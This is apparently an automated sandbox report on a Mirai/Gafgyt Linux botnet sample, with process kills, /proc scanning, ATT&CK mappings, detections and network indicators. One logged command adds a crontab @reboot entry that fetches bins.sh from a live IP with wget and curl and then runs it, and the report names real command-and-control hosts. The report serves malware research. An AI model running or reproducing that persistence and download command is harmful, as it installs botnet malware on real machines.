        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 206, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 207, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 216, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 219, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 220, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 221, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 222, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 223, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 224, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 225, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 226, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 227, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 228, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 229, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 230, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 231, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 232, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 233, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 234, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 235, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 236, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 237, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 238, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 239, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 240, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 241, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 242, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 243, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 244, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 245, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 246, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 247, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 248, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 249, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 250, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 251, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 252, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 253, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 254, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 255, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 257, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 258, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 259, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 260, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 261, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 262, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 263, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 264, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 265, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 266, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 267, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 268, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 269, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 270, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 271, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 272, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 273, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 274, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 275, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 276, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 291, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 293, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 298, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 299, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 303, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 304, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 306, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 307, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 308, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 309, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 310, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 311, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 312, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 313, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 314, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 315, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 316, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 317, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 318, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 319, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 320, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 321, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 322, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 323, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 324, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 325, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 326, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 327, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 328, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 332, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 347, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 371, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 378, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 418, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 419, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 508, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 518, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 519, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 656, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 657, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 658, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 659, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 672, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 674, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 676, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 679, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 680, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 1238, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 1320, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 1648, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 2496, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 3455, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 3709, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 3710, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 3711, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 3712, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 5553, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 5733, result: unknownJump to behavior
        Source: classification engineClassification label: mal84.spre.troj.linELF@0/48@2/0

        Persistence and Installation Behavior

        barindex
        Source: /bin/sh (PID: 5749)Crontab executable: /usr/bin/crontab -> crontab -lJump to behavior
        Source: /bin/sh (PID: 5748)Crontab executable: /usr/bin/crontab -> crontab -Jump to behavior
        Source: /bin/curl (PID: 5752)Directory: /root/.curlrcJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/230/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/230/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/230/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/110/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/110/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/110/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/231/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/231/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/231/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/111/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/111/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/111/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/232/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/232/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/232/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/112/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/112/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/112/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/233/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/233/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/233/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/113/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/113/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/113/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/234/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/234/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/234/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/114/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/114/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/114/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/235/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/235/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/235/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/115/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/115/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/115/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/236/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/236/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/236/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/116/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/116/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/116/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/237/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/237/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/237/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/117/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/117/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/117/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/238/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/238/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/238/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/118/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/118/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/118/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/239/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/239/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/239/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/119/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/119/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/119/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/914/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/914/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/914/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/10/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/10/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/10/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/917/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/917/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/917/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/11/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/11/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/11/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/12/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/12/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/12/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/13/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/13/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/13/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/14/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/14/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/14/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/15/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/15/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/15/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/16/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/16/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/16/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/17/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/17/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/17/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/18/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/18/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/18/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/19/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/19/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/19/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/240/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/240/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/240/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/3095/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/3095/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/3095/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/120/statJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/120/cmdlineJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)File opened: /proc/120/fdJump to behavior
        Source: /tmp/sparc.elf (PID: 5741)Shell command executed: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"Jump to behavior
        Source: /bin/sh (PID: 5750)Chmod executable: /usr/bin/chmod -> chmod +x bins.shJump to behavior
        Source: /usr/lib/snapd/snap-failure (PID: 5803)Systemctl executable: /usr/bin/systemctl -> systemctl stop snapd.socketJump to behavior
        Source: /usr/lib/snapd/snap-failure (PID: 5788)Reads version info: /proc/versionJump to behavior
        Source: /tmp/sparc.elf (PID: 5739)Sleeps longer then 60s: 60.0sJump to behavior
        Source: /tmp/sparc.elf (PID: 5739)Sleeps longer then 60s: 60.0sJump to behavior
        Source: /tmp/sparc.elf (PID: 5729)Queries kernel information via 'uname': Jump to behavior
        Source: sparc.elf, 5729.1.000055bff90b4000.000055bff913e000.rw-.sdmp, sparc.elf, 5733.1.000055bff90b4000.000055bff913e000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sparc
        Source: sparc.elf, 5729.1.000055bff90b4000.000055bff913e000.rw-.sdmp, sparc.elf, 5733.1.000055bff90b4000.000055bff913e000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/sparc
        Source: sparc.elf, 5729.1.00007fff885ab000.00007fff885cc000.rw-.sdmp, sparc.elf, 5733.1.00007fff885ab000.00007fff885cc000.rw-.sdmpBinary or memory string: ux86_64/usr/bin/qemu-sparc/tmp/sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sparc.elf
        Source: sparc.elf, 5733.1.00007fff885ab000.00007fff885cc000.rw-.sdmpBinary or memory string: U/tmp/qemu-open.Z50ZcI
        Source: sparc.elf, 5729.1.00007fff885ab000.00007fff885cc000.rw-.sdmp, sparc.elf, 5733.1.00007fff885ab000.00007fff885cc000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sparc
        Source: sparc.elf, 5733.1.00007fff885ab000.00007fff885cc000.rw-.sdmpBinary or memory string: /tmp/qemu-open.Z50ZcI

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: sparc.elf, type: SAMPLE
        Source: Yara matchFile source: 5733.1.00007fb70c011000.00007fb70c026000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: 5729.1.00007fb70c011000.00007fb70c026000.r-x.sdmp, type: MEMORY

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: sparc.elf, type: SAMPLE
        Source: Yara matchFile source: 5733.1.00007fb70c011000.00007fb70c026000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: 5729.1.00007fb70c011000.00007fb70c026000.r-x.sdmp, type: MEMORY
        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information2
        Scripting
        Valid Accounts1
        Scheduled Task/Job
        1
        Systemd Service
        1
        Systemd Service
        1
        Virtualization/Sandbox Evasion
        1
        OS Credential Dumping
        11
        Security Software Discovery
        Remote ServicesData from Local System1
        Non-Standard Port
        Exfiltration Over Other Network Medium2
        Service Stop
        CredentialsDomainsDefault AccountsScheduled Task/Job1
        Scheduled Task/Job
        1
        Scheduled Task/Job
        1
        File and Directory Permissions Modification
        LSASS Memory1
        Virtualization/Sandbox Evasion
        Remote Desktop ProtocolData from Removable Media1
        Non-Application Layer Protocol
        Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAt2
        Scripting
        Logon Script (Windows)1
        Hidden Files and Directories
        Security Account Manager1
        System Information Discovery
        SMB/Windows Admin SharesData from Network Shared Drive1
        Application Layer Protocol
        Automated ExfiltrationData Encrypted for Impact
        No configs have been found
        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1646359 Sample: sparc.elf Startdate: 23/03/2025 Architecture: LINUX Score: 84 43 api.znet.homes 155.138.230.16, 1290, 80 AS-CHOOPAUS United States 2->43 47 Antivirus / Scanner detection for submitted sample 2->47 49 Multi AV Scanner detection for submitted file 2->49 51 Yara detected Mirai 2->51 53 Connects to many ports of the same IP (likely port scanning) 2->53 10 sparc.elf 2->10         started        12 systemd snap-failure 2->12         started        signatures3 process4 process5 14 sparc.elf 10->14         started        16 snap-failure systemctl 12->16         started        18 snap-failure 12->18         started        process6 20 sparc.elf sh 14->20         started        22 sparc.elf 14->22         started        25 sparc.elf 14->25         started        27 sparc.elf 14->27         started        signatures7 29 sh 20->29         started        31 sh crontab 20->31         started        55 Sample tries to kill a massive number of system processes 22->55 57 Sample tries to kill multiple processes (SIGKILL) 22->57 process8 signatures9 34 sh crontab 29->34         started        37 sh chmod 29->37         started        39 sh sh 29->39         started        41 sh curl 29->41         started        59 Executes the "crontab" command typically for achieving persistence 31->59 process10 signatures11 45 Executes the "crontab" command typically for achieving persistence 34->45
        SourceDetectionScannerLabelLink
        sparc.elf21%VirustotalBrowse
        sparc.elf19%ReversingLabsLinux.Trojan.Gafgyt
        sparc.elf100%AviraEXP/ELF.Mirai.W
        No Antivirus matches
        No Antivirus matches
        SourceDetectionScannerLabelLink
        http://155.138.230.16/bins/bins.sh;100%Avira URL Cloudmalware

        Download Network PCAP: filteredfull

        NameIPActiveMaliciousAntivirus DetectionReputation
        api.znet.homes
        155.138.230.16
        truefalse
          high
          NameSourceMaliciousAntivirus DetectionReputation
          http://155.138.230.16/bins/bins.sh;sparc.elffalse
          • Avira URL Cloud: malware
          unknown
          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs
          IPDomainCountryFlagASNASN NameMalicious
          155.138.230.16
          api.znet.homesUnited States
          20473AS-CHOOPAUSfalse
          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          155.138.230.16armv4l.elfGet hashmaliciousMiraiBrowse
            x86_64.elfGet hashmaliciousMiraiBrowse
              armv6l.elfGet hashmaliciousMiraiBrowse
                sh4.elfGet hashmaliciousMiraiBrowse
                  i686.elfGet hashmaliciousMiraiBrowse
                    mips.elfGet hashmaliciousMiraiBrowse
                      mipsel.elfGet hashmaliciousMiraiBrowse
                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                        api.znet.homesarmv4l.elfGet hashmaliciousMiraiBrowse
                        • 155.138.230.16
                        x86_64.elfGet hashmaliciousMiraiBrowse
                        • 155.138.230.16
                        armv6l.elfGet hashmaliciousMiraiBrowse
                        • 155.138.230.16
                        sh4.elfGet hashmaliciousMiraiBrowse
                        • 155.138.230.16
                        i686.elfGet hashmaliciousMiraiBrowse
                        • 155.138.230.16
                        mips.elfGet hashmaliciousMiraiBrowse
                        • 155.138.230.16
                        mipsel.elfGet hashmaliciousMiraiBrowse
                        • 155.138.230.16
                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                        AS-CHOOPAUSarmv4l.elfGet hashmaliciousMiraiBrowse
                        • 155.138.230.16
                        x86_64.elfGet hashmaliciousMiraiBrowse
                        • 155.138.230.16
                        armv6l.elfGet hashmaliciousMiraiBrowse
                        • 155.138.230.16
                        sh4.elfGet hashmaliciousMiraiBrowse
                        • 155.138.230.16
                        i686.elfGet hashmaliciousMiraiBrowse
                        • 155.138.230.16
                        mips.elfGet hashmaliciousMiraiBrowse
                        • 155.138.230.16
                        mipsel.elfGet hashmaliciousMiraiBrowse
                        • 155.138.230.16
                        Setup.exeGet hashmaliciousUnknownBrowse
                        • 45.32.1.23
                        xpmg.exeGet hashmaliciousUnknownBrowse
                        • 155.138.150.12
                        courtyardhealthcare.com.exeGet hashmaliciousUnknownBrowse
                        • 139.180.160.173
                        No context
                        No context
                        Process:/tmp/sparc.elf
                        File Type:ASCII text
                        Category:dropped
                        Size (bytes):115
                        Entropy (8bit):2.7254316491278687
                        Encrypted:false
                        SSDEEP:3:HWSF8XWV+7MFXnvf:1kSZFXH
                        MD5:4AC97842C93538AD1DBD20277448D9C9
                        SHA1:F5A9F7A56131978CB81602A08418E03F96B4BB44
